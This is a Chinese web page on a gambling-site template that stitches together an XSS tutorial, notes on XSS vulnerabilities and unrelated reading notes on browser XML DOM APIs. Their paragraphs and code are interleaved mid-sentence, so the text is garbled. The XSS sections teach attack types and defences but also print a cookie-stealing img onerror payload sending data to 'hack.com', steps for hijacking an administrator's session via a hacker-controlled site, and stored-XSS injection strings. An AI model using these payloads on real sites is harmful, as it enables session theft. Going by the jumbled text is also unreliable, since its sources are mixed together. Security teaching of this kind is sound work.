金沙棋牌官方平台

当前位置:金沙棋牌 > 金沙棋牌官方平台 > 跨站服务脚本攻击,阅读笔记

跨站服务脚本攻击,阅读笔记

来源:http://www.logblo.com 作者:金沙棋牌 时间:2019-11-21 10:18

Web 安全之 XSS

2017/06/12 · 基础技术 · XSS

原文出处: 今日头条技术博客   

1、漏洞概述

一、IE中的XML DOM支持
  IE对XML的支持是基于ActiveX的MSXML库。
  1、DOM创建
  对每个新版本的MSXML,都会创建出不同的XML DOM对象,所以尽量选择新的XML DOM版本。
  2、载入XML
  载入XML分两种,即:
  载入XML字符串:loadXML(xml字符串)
  载入xml文件:load(xml文件路径)。默认情况下文件载入是异步的,如果要改为同步把asynce特性改为true即可。异步载入文件时要用到readyState和onreadystatechange事件处理函数。readyState共有五种可能的值:
    0——DOM尚未初始化任何信息;
    1——DOM正在载入数据;
    2——DOM完成了数据载入;
    3——DOM已经可用,不过某些部分可能还不能用;
    4——DOM已经完全被载入,可以使用了。
  3、获取XML
  微软为每个节点增加了xml特性,所以获取XML非常方便,见后面的示例。
  4、解释错误
  可以用parseError来处理XML载入过程中出现的错误。
  parseError特性实际上是包含以下特性的对象:
  errorCode:错误类型数字代码,没有错误为0
  filePos:错误发生在文件中的位置
  line:遇到错误的行号
  linepos:在遇到错误的那一行上的字符的位置
  reason:对错误的一个解释
  srcText:造成错误的代码
  url:造成错误的文件的URL
  5、示例:

什么是XSS

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS 是指攻击者在网页中嵌入客户端脚本,通常是 JavaScript 编写的恶意代码,当用户使 用浏览器浏览被嵌入恶意代码的网页时,恶意代码会在用户浏览器上执行。

复制代码 代码如下:

XSS的攻击场景

  • 反射型这类攻击方式主要借助URL来实施。URL的构成分为协议、域名、端口、路径、查询几部分构成。如图所示:

    图片 1

    XSS往往在“查询”部分发现漏洞构造攻击代码实施攻击,所谓“反射”可以理解为hacker并不会直接攻击客户,而是通过URL植入代码通过服务器获取并植入到用户页面完成攻击。攻击流程图如下:

    图片 2

  • 存储型存储型攻击方式和反射型最大的区别就是不通过URL来传播,而是利用站点本身合法的存储结构,比如评论。任何用户都可以通过站点提供的接口提交评论内容,这些评论内容都被存储到服务器的数据库。当用户访问这些评论的时候,服务器从数据库提取内容插入到页面反馈给用户。如果评论内容本身是具备攻击性内容,用户无一幸免。攻击流程图如下:

    图片 3

    从上下两个流程图来看,反射型和存储型的攻击方式是本质不同的,前者需要借助各种社交渠道传播具备攻击的URL来实施,后者通过网站本身的存储漏洞,攻击成本低很多,而且伤害力更大。

 XSS 属于 Web 前端攻击,包括但不限于普通用户,网站管理员如果被攻击,攻击装可 以劫持管理员的身份度网站服务器端进行文件管理,数据管理等操作。

function createXMLDOM(){
var arrSignatures=["MSXML2.DOMDocument.5.0","MSXML2.DOMDocument.4.0","MSXML2.DOMDocument.3.0","MSXML2.DOMDocument","Microsoft.XmlDom"];
for(var i=0;i<arrSignatures.length;i++){
try{
var oXmlDom=new ActiveXObject(arrSignatures[i]);
return oXmlDom;
} catch(oError){
}
}
throw new Error("MSXML is not installed on your system");
}
var oXmlDom=createXMLDOM();
//方式一:加载字符串
oXmlDom.loadXML("<root><child/></rot>");
//处理错误
if(oXmlDom.parseError != 0){
var oError=oXmlDom.parseError;
alert("An Error occurred:nError Code:" + oError.errorCode

XSS的工作原理

不管是反射型还是存储型,服务端都会将JavaScript当做文本处理,这些文本在服务端被整合进html文档中,在浏览器解析这些文本的过程也就是XSS被执行的时候。

从攻击到执行分为以下几步:

  1. 构造攻击代码
  2. 服务端提取并写入HTML
  3. 浏览器解析,XSS执行

2、漏洞原理

  • "nLine:" + oError.line + "nLine Pos:" + oError.linepos
  • "nReason:" + oError.reason);
    } else {
    var childNodes=oXmlDom.documentElement.childNodes;
    console.log(childNodes.length+" "+childNodes[0].xml);// 1 <child/>
    }
    //方式二:加载XML文件
    oXmlDom.onreadystatechange = function(){
    //文档加载完毕
    if(oXmlDom.readyState == 4){
    if(oXmlDom.parseError != 0){
    var oError=oXmlDom.parseError;
    alert("An Error occurred:nError Code:" + oError.errorCode
  • "nLine:" + oError.line + "nLine Pos:" + oError.linepos
  • "nReason:" + oError.reason);
    } else {
    var childNodes=oXmlDom.documentElement.childNodes;
    console.log(childNodes.length+" "+childNodes[0].xml);// 1 <child/>
    }
    }
    }
    oXmlDom.load("test.xml");
构造攻击代码

hacker在发现站点对应的漏洞之后,基本可以确定是使用“反射型”或者“存储型”。对于反射型这个很简单了,执行类似代码:

JavaScript

onerror="new Image().src='//hack.com?c=' src='null'>"

1
https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>"

大家知道很多站点都提供搜索服务,这里的item字段就是给服务端提供关键词。如果hacker将关键词修改成可执行的JavaScript语句,如果服务端不加处理直接将类似代码回显到页面,XSS代码就会被执行。

这段代码的含义是告诉浏览器加载一张图片,图片的地址是空,根据加载机制空图片的加载会触发Element的onerror事件,这段代码的onerror事件是将本地cookie传到指定的网站。

很明显,hacker可以拿到“中招”用户的cookie,利用这个身份就可以拿到很多隐私信息和做一些不当的行为了。

对于存储型直接通过读取数据库将内容打到接口上就可以了。

XSS 攻击是在网页中嵌入客户端恶意脚本代码,这些恶意代码一般使用 JavaScript 编写 JS(JavaScript 简称)可以用 XSS 盗取用户 Cookie、改变网页内容、URL 跳转到恶意网站、监 控键盘记录、甚至 GetShell 等。

二、Mozilla中的XML DOM支持
  1、创建DOM
  DOM标准指出,document.implementation有个 createDocument() 方法:
var oXmlDom=document.implementation.createDocument("","",null);  其中,第一个参数为文档的命名空间URL,文档元素的标签名,和文档类型对象(总是为null,因为在Mozilla中还没有支持)。
  2、载入XML
  Mozilla只支持一个载入XML的方法:load(文件名)。
  同步或异步由async决定,默认为异步。
  如果是XML字符串,要用DOMParser对象来转换成DOM,用法如下:

服务端提取并写入HTML

我们以 Node.js 应用型框架express.js为例:

服务端代码(express.js)

JavaScript

router.get('/', function (req, res, next) { res.render('index', { title: 'Express', search: req.query.item }); });

1
2
3
4
5
6
router.get('/', function (req, res, next) {  
    res.render('index', {
        title: 'Express',
        search: req.query.item
    });
});

ejs模板

<p> <%- search %> </p>

1
2
3
<p>  
<%- search %>  
</p>

这里列举了以反射型为主的服务端代码,通过获取URL的查询res.query.item,最后在模板中输出内容。对于存储型的区别是通过数据库拿到对应内容,模板部分一致。

3漏洞利用

复制代码 代码如下:

浏览器解析,XSS执行

图片 4

从这个图上来看浏览器解析主要做三件事:

  • 将文档解析成DOM Tree
  • 解析CSS成规则树
  • Javascript解析

在这个过程,XSS的代码从文本变的可执行。

xss 分为3种 反射性  ,存储型  ,DOM型

var oParser = new DOMParser();
var oXmlDom = oParser.parseFromString("<root/>","text/xml");

XSS的防范措施

反射性xss也称非持久性xss,是最容易出现的一种xss

 parseFromString方法第一个参数为XML字符串,第二个参数为内容类型。可以是 "text/xml" 或 "application/xml"。
  3、获取XML
  微软提供的xml特性因为不是标准,所以Mozilla不支持,Mozilla提供了XMLSerializer对象:

编码

对于反射型的代码,服务端代码要对查询进行编码,主要目的就是将查询文本化,避免在浏览器解析阶段转换成DOM和CSS规则及JavaScript解析。

常见的HTML实体编码如下:

图片 5

除了编码和解码,还需要做额外的共奏来解决富文本内容的XSS攻击。

我们知道很多场景是允许用户输入富文本,而且也需要将富文本还原。这个时候就是hacker容易利用的点进行XSS攻击。

例子:

复制代码 代码如下:

DOM Parse和过滤

从XSS工作的原理可知,在服务端进行编码,在模板解码这个过程对于富文本的内容来说,完全可以被浏览器解析到并执行,进而给了XSS执行的可乘之机。

为了杜绝悲剧发生,我们需要在浏览器解析之后进行解码,得到的文本进行DOM parse拿到DOM Tree,对所有的不安全因素进行过滤,最后将内容交给浏览器,达到避免XSS感染的效果。

具体原理如下:

图片 6

  • 解码

JavaScript

var unescape = function(html, options) { options = merge(options, decode.options); var strict = options.strict; if (strict && regexInvalidEntity.test(html)) { parseError('malformed character reference'); } return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) { var codePoint; var semicolon; var decDigits; var hexDigits; var reference; var next; if ($1) { // Decode decimal escapes, e.g. ``. decDigits = $1; semicolon = $2; if (strict && !semicolon) { parseError('character reference was not terminated by a semicolon'); } codePoint = parseInt(decDigits, 10); return codePointToSymbol(codePoint, strict); } if ($3) { // Decode hexadecimal escapes, e.g. ``. hexDigits = $3; semicolon = $4; if (strict && !semicolon) { parseError('character reference was not terminated by a semicolon'); } codePoint = parseInt(hexDigits, 16); return codePointToSymbol(codePoint, strict); } if ($5) { // Decode named character references with trailing `;`, e.g. `©`. reference = $5; if (has(decodeMap, reference)) { return decodeMap[reference]; } else { // Ambiguous ampersand. if (strict) { parseError( 'named character reference was not terminated by a semicolon' ); } return $0; } } // If we’re still here, it’s a legacy reference for sure. No need for an // extra `if` check. // Decode named character references without trailing `;`, e.g. `&` // This is only a parse error if it gets converted to `&`, or if it is // followed by `=` in an attribute context. reference = $6; next = $7; if (next && options.isAttributeValue) { if (strict && next == '=') { parseError('`&` did not start a character reference'); } return $0; } else { if (strict) { parseError( 'named character reference was not terminated by a semicolon' ); } // Note: there is no need to check `has(decodeMapLegacy, reference)`. return decodeMapLegacy[reference]

  • (next || ''); } }); };
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
var unescape = function(html, options) {
            options = merge(options, decode.options);
            var strict = options.strict;
            if (strict && regexInvalidEntity.test(html)) {
                parseError('malformed character reference');
            }
            return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) {
                var codePoint;
                var semicolon;
                var decDigits;
                var hexDigits;
                var reference;
                var next;
                if ($1) {
                    // Decode decimal escapes, e.g. ``.
                    decDigits = $1;
                    semicolon = $2;
                    if (strict && !semicolon) {
                        parseError('character reference was not terminated by a semicolon');
                    }
                    codePoint = parseInt(decDigits, 10);
                    return codePointToSymbol(codePoint, strict);
                }
                if ($3) {
                    // Decode hexadecimal escapes, e.g. ``.
                    hexDigits = $3;
                    semicolon = $4;
                    if (strict && !semicolon) {
                        parseError('character reference was not terminated by a semicolon');
                    }
                    codePoint = parseInt(hexDigits, 16);
                    return codePointToSymbol(codePoint, strict);
                }
                if ($5) {
                    // Decode named character references with trailing `;`, e.g. `©`.
                    reference = $5;
                    if (has(decodeMap, reference)) {
                        return decodeMap[reference];
                    } else {
                        // Ambiguous ampersand. https://mths.be/notes/ambiguous-ampersands
                        if (strict) {
                            parseError(
                                'named character reference was not terminated by a semicolon'
                            );
                        }
                        return $0;
                    }
                }
                // If we’re still here, it’s a legacy reference for sure. No need for an
                // extra `if` check.
                // Decode named character references without trailing `;`, e.g. `&amp`
                // This is only a parse error if it gets converted to `&`, or if it is
                // followed by `=` in an attribute context.
                reference = $6;
                next = $7;
                if (next && options.isAttributeValue) {
                    if (strict && next == '=') {
                        parseError('`&` did not start a character reference');
                    }
                    return $0;
                } else {
                    if (strict) {
                        parseError(
                            'named character reference was not terminated by a semicolon'
                        );
                    }
                    // Note: there is no need to check `has(decodeMapLegacy, reference)`.
                    return decodeMapLegacy[reference] + (next || '');
                }
            });
        };
  • DOM Parse和过滤

JavaScript

var parse=function(str){ var results=''; try { HTMLParser(str,{ start:function(tag,attrs,unary){ if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){ return } results+=""; }, end:function(tag){ results+=""+tag+">"; }, chars:function(text){ results+=text; }, comment:function(){ results+="'; } }) return results; } catch (e) { } finally { } }; var dst=parse(str);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var parse=function(str){  
    var results='';
    try {
        HTMLParser(str,{
            start:function(tag,attrs,unary){
                if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){
                    return
                }
                results+="";
            },
            end:function(tag){
                results+=""+tag+">";
            },
            chars:function(text){
                results+=text;
            },
            comment:function(){
                results+="';
            }
        })
        return results;
    } catch (e) {
 
    } finally {
 
    }
};
 
    var dst=parse(str);

在此展示了部分代码,其中DOM Parse可以采用第三方的Js库来完成。

攻击者使用 XSS 反射型漏洞盗取管理员 cookie 步骤。

var oSerializer = new XMLSerializer();
var sXml = oSerializer.serializeToString(oXmlDom,"text/xml");  在后面的例子中我们可以看到如何用defineGetter()方法来定义一个xml特性。

XSS的危害

相信大家都对XSS了有一定的了解,下面列举几个XSS影响比较大的事件供参考,做到警钟长鸣。

  • 微博遭受攻击案例2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击。此事件给严重依赖社交网络的网友们敲响了警钟。在此之前,国内多家著名的SNS网站和大型博客网站都曾遭遇过类似的攻击事件,只不过没有形成如此大规模传播。虽然此次XSS蠕虫攻击事 件中,恶意黑客攻击者并没有在恶意脚本中植入挂马代码或其他窃取用户账号密码信息的脚本,但是这至少说明,病毒木马等黑色产业已经将眼光投放到这个尚存漏洞的领域。
  • 猫扑遭受攻击案例曾经在猫扑大杂烩中存在这样一个XSS漏洞,在用户发表回复的时候,程序对用户发表的内容做了严格的过滤,但是我不知道为什么,当用户编辑回复内容再次发表的时候,他却采用了另外一种不同的过滤方式,而这种过滤方式显然是不严密的,因此导致了XSS漏洞的出现。试想一下,像猫扑这样的大型社区,如果在一篇热帖中,利用XSS漏洞来使所有的浏览这篇帖子的用户都在不知不觉之中访问到了另外一个站点,如果这个站点同样是大型站点还好,但如果是中小型站点那就悲剧了,这将会引来多大的流量啊!更可怕的是,这些流量全部都是真实有效的!

如果本文有描述不准确或错误,欢迎大家指正……,不胜感激。

1 赞 3 收藏 评论

图片 7

1:用户小 a 正在上 www.abc.com 论坛看帖子。

  4、解析错误
  在XML文件的解析过程中发生错误时,XML DOM会创建文档来解释这个错误。常常用正则来输出错误信息:

2:攻击者发现 www.abc.com/xss.php 存在反射型漏洞,然后精心构造 JS 代码,此代码可以 盗取用户 cookie 发送到指定站点 www.hacker.com

复制代码 代码如下:

3:攻击者将带有反射型 XSS 漏洞的 URL 通过站内短信发给用户小 a,标题为引起小 a 好奇 心的内容,目的是为了让用户小 a 单击链接。

var reError = />([sS]*?)Location:([sS]*?)Line Number (d+),Column (d+):<sourcetext>([sS]*?)(?:-*^)/;
if(oXmlDom.documentElement.tagName == "parsererror"){
reError.test(oXmlDom.xml);
alert("An error occurred:nDescription: " + RegExp.$1 +"n"

4:假设用户小 a 单击了带有 xss 漏洞的 url,会把自己的 cookie 发送到网站 www.hacker.com

  • "File: " + RegExp.$2 + "n"
  • "Line: " + RegExp.$3 + "n"
  • "Line Pos: " + RegExp.$4 + "n"
  • "Source: " + RegExp.$5);
    }

5:攻击者接受到用户小 a 的 会话 cookie,利用 cookie 以小 a 的身份登录 www.abc.com 从 而劫持小 a 的登录网站凭据进行其它攻击。

5、示例

存储型 XSS  存储型 XSS 又被称为持久性 XSS,是最危险的一种跨站脚本。  允许用户存储数据的 Web 应用都可能出现存储型 XSS 漏洞,当攻击者提交一段 XSS 代码后,被服务端接受并存储,当攻击者再次访问某个页面时,这段 XSS 代码被程序输出到浏 览器造成 XSS 跨站代码攻击,这就是存储型 XSS。  存储型 XSS 与反射型 XSS、DOM 型 XSS 相比,具有更高隐蔽性,危害性也更大,它们最 大区别在于反射型 XSS 与 DOM 型 XSS 执行都必须依靠用户手动去触发,而存储型 XSS 不需 要。另外反射型 XSS 由于默认 IE 8 及以上浏览器,其它现代浏览器例如 chrome,firefox 等 默认已经开启拦截反射型 xss 漏洞,并且随着浏览器补丁不断升级,也修复了绝大多数绕过 代码。以下是 IE 浏览器防护反射型 XSS 漏洞选项:    以下是一个常见存储型 XSS 场景示例:  在测试是否存在 XSS 时,首选要确定输入点与输出点,例如,我们要在留言内容上测试 XSS 漏洞,首先要寻找留言内容输出(显示)的地方在标签内还是在标签属性内,或者其它 地方,如果输出的数据在属性内,那么 XSS 代码是不会被执行的。如:alert(1)” /> 以上 JS 代码虽然成功插入到了 HTML 中,但却无法执行,因为 XSS 代码出现在 Value 属 性中,被当做值来处理,最终浏览器解析 HTML 时,会把数据以文本的形式输出在网页中。 知道了输出点后,可以根据相应标签构造 HTML 代码来闭合,插入 XSS 代码为 “/>alert(1)”,最终在 HTML 文档中为:alert(1)” /> 这样就可以闭合 input 标签,使输出的内容不在 Value 属性中,从而造成 XSS 漏洞。  知道了最基本的测试原理后,下面看看具体的存储型漏洞  1:添加正常留言,昵称为 xxser,留言内容为“HelloWord”,查看前端源代码

复制代码 代码如下:

xxserHello World2016-10-11 11:27:38

var oXmlDom=document.implementation.createDocument("","<root>",null);
oXmlDom.async = false;
oXmlDom.onload = function(){
alert('Done');
}
var reError = />([sS]*?)Location:([sS]*?)Line Number (d+),Column (d+):<sourcetext>([sS]*?)(?:-*^)/;
if(oXmlDom.documentElement.tagName == "parsererror"){
reError.test(oXmlDom.xml);
alert("An error occurred:nDescription: " + RegExp.$1 +"n"

2:如果现实区域不在 HTML 属性内,则可以直接用 XSS 代码注入。如果不能确定输出具体 位置,可以用模糊测试方案,代码如下:alert(/stored xss/)普通注入  "/>alert(/stored xss/)闭合标签注入  '">alert(/stored xss/)闭合标签注入  盗取 cookie 的 js 代码后,重新加载留言页面,XSS 代码被浏览器执行。    攻击者将带有 XSS 代码的留言提交到数据库,当用户查看这段留言时,浏览器会把代码认为 正常的 JavaScript 代码来执行。所以,存储型 XSS 具有更高的隐蔽性

  • "File: " + RegExp.$2 + "n"
  • "Line: " + RegExp.$3 + "n"
  • "Line Pos: " + RegExp.$4 + "n"
  • "Source: " + RegExp.$5);
    }
    Node.prototype.__defineGetter__("xml", function () {
    var oSerializer = new XMLSerializer();
    return oSerializer.serializeToString(this, "text/xml");
    });
    oXmlDom.load('test.xml');
    alert(oXmldom.xml);
    var oNode = oXmlDom.documentElement.childNodes[1];
    alert(oNode.xml);

检测 XSS

三、通用接口
  下面是兼容IE和FireFox的通用接口:

手工检测:

复制代码 代码如下:

① 可得知输出位置 输入一些敏感字符,例如“<、>、”、’、()”等,在提交后查看 HTML 源代码,看这些 输入的字符是否被转义。在输出这些敏感字符时,很有可能程序已经做了过滤,这样在寻找这些字符时就不 太容易,这时可以输入“AAA<>”’&”字符串,然后在查找源代码时直接查找 AAA 比较 方便。

function XmlDom() {
if (window.ActiveXObject) {//IE
var arrSignatures = ["MSXML2.DOMDocument.5.0", "MSXML2.DOMDocument.4.0",
"MSXML2.DOMDocument.3.0", "MSXML2.DOMDocument", "Microsoft.XmlDom"];
for (var i = 0; i < arrSignatures.length; i++) {
try {
var oXmlDom = new ActiveXObject(arrSignatures[i]);
return oXmlDom;
}
catch (oError) {
//ignore
}
}
throw new Error("MSXML is not installed on your system.");
} else if (document.implementation && document.implementation.createDocument) {
var oXmlDom = document.implementation.createDocument("", "", null);
oXmlDom.parseError = {valueOf:function () {
return this.errorCode;
}, toString:function () {
return this.errorCode.toString();
}};
oXmlDom.__initError__();
oXmlDom.addEventListener("load", function () {
this.__checkForErrors__();
this.__changeReadyState__(4);
}, false);
return oXmlDom;
} else {
throw new Error("Your browser doesn't support an XML DOM object.");
}
}
if (isMoz) {
Document.prototype._readyState_ = 0;
Document.prototype.onreadystatechange = null;
Document.prototype.__changeReadyState__ = function (iReadyState) {
this._readyState_ = iReadyState;
if (typeof this.onreadystatechange == "function") {
this.onreadystatechange();
}
};
Document.prototype.__initError__ = function () {
this.parseError.errorCode = 0;
this.parseError.filepos = -1;
this.parseError.line = -1;
this.parseError.linepos = -1;
this.parseError.reason = null;
this.parseError.srcText = null;
this.parseError.url = null;
};
Document.prototype.__checkForErrors__ = function () {
if (this.documentElement.tagName == "parsererror") {
var reError = />([sS]*?)Location:([sS]*?)Line Number (d+),Column (d+):<sourcetext>([sS]*?)(?:-*^)/;
reError.test(this.xml);
this.parseError.errorCode = -999999;
this.parseError.reason = RegExp.$1;
this.parseError.url = RegExp.$2;
this.parseError.line = parseInt(RegExp.$3);
this.parseError.linepos = parseInt(RegExp.$4);
this.parseError.srcText = RegExp.$5;
}
};
Document.prototype.loadXML = function (sXml) {
this.__initError__();
this.__changeReadyState__(1);
var oParser = new DOMParser();
var oXmlDom = oParser.parseFromString(sXml, "text/xml");
while (this.firstChild) {
this.removeChild(this.firstChild);
}
for (var i = 0; i < oXmlDom.childNodes.length; i++) {
var oNewNode = this.importNode(oXmlDom.childNodes[i], true);
this.appendChild(oNewNode);
}
this.__checkForErrors__();
this.__changeReadyState__(4);
};
Document.prototype.__load__ = Document.prototype.load;
Document.prototype.load = function (sURL) {
this.__initError__();
this.__changeReadyState__(1);
this.__load__(sURL);
};
Document.prototype.getReadyState = function () {
return this._readyState_;
};
Node.prototype.__defineGetter__("xml", function () {
var oSerializer = new XMLSerializer();
return oSerializer.serializeToString(this, "text/xml");
});
}

② 无法得知输出位置 很多 Web 程序源码是不公开的,这时在测试 XSS 时就可能无法得知输入数据到底在什 么地方显示,比如测试留言吧是否存在 XSS,在留言后,可能需要经过管理员审核才能显 示,这种情况无法知道数据在后台管理页面处于何种状态,例如:  在

四、其他浏览器
  本书中没有讲到其他浏览器,如现在很火的Chrome,最新版的主流浏览器现在都已支持上面讲到的Mozilla方式。如果不支持,可以用AJAX来读取处理XML。
作者:Artwl
出处:

标签中:

您可能感兴趣的文章:

  • javascript解析xml字符串的函数
  • JavaScript 解析读取XML文档 实例代码
  • javascript 读取XML数据,在页面中展现、编辑、保存的实现
  • javascript XMLHttpRequest对象全面剖析
  • Javascript(AJAX)解析XML的代码(兼容FIREFOX/IE)
  • javascript操作xml(增删改查)例子代码hta版
  • JavaScript XML和string相互转化实现代码
  • JavaScript高级程序设计 XML、Ajax 学习笔记
  • JavaScript操作XML 使用百度RSS作为新闻源示例
  • javascript+xml实现简单图片轮换(只支持IE)
  • 如何使用Javascript正则表达式来格式化XML内容
  • javascript读取Xml文件做一个二级联动菜单示例
  • 兼容Firefox的Javascript XSLT 处理XML文件

XSS Test

在标签中:对这种情况通常会输入“”/> xss test”来测试。

2:工具检测

使用 Appscan,Burp Suite 或浏览器 Web 渗透插件 hackbar 等均可。

工具的局限性在于如果提交测试代码输入框需要输入验证码或者短信,工具是无法识别 各类验证码而顺利提交攻击代码的。

修复漏洞

cookie 设置HTTPonly

setcookie($name, $value, $expire, $path, $domain, $secure, TRUE)     //>=5.2

 header ("Set-Cookie: hidden=value; httponly", false);

/* ≤ PHP 5.1 */

第二种,一个函数搞定

htmlspecialchars($html);

本文由金沙棋牌发布于金沙棋牌官方平台,转载请注明出处:跨站服务脚本攻击,阅读笔记

关键词: